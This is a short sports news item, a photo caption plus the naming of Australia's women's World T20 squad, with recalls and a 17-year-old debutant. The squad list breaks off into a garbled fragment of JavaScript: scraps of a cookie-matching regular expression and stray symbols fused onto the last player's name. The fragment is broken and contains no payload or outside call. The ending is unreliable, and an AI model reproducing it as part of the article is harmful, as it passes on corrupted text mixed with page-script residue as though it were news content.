HOBART, AUSTRALIA - FEBRUARY 05: Nicole Bolton acknowledges Meg Lanningof Australia after she reached her half century during game two of the women's one day international series between Australia and India at Blundstone Arena on February 5, 2016 in Hobart, Australia. (Photo by Robert Cianflone/Getty Images)

The Southern Stars have named their World T20 squad for their title defence.

Elyse Villani, Kristen Beams and Erin Osborne have all been recalled to the squad, while 17-year-old quick Lauren Cheatle, who is also juggling her Year 12 commitments, has been included in the squad after making her international debut last month.

SOUTHERN STARS WORLD T20 SQUAD: Meg Lanning (c), Alex Blackwell (vc), Kristen Beams, Lauren Cheatle, Sarah Coyte, Rene Farrell, Holly Ferling, Grace Harris, Alyssa Healy, Jess Jonassen, Beth Mooney, Erin Osborne, Ellyse Perry, Megan Schutt, Elyse Villani "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}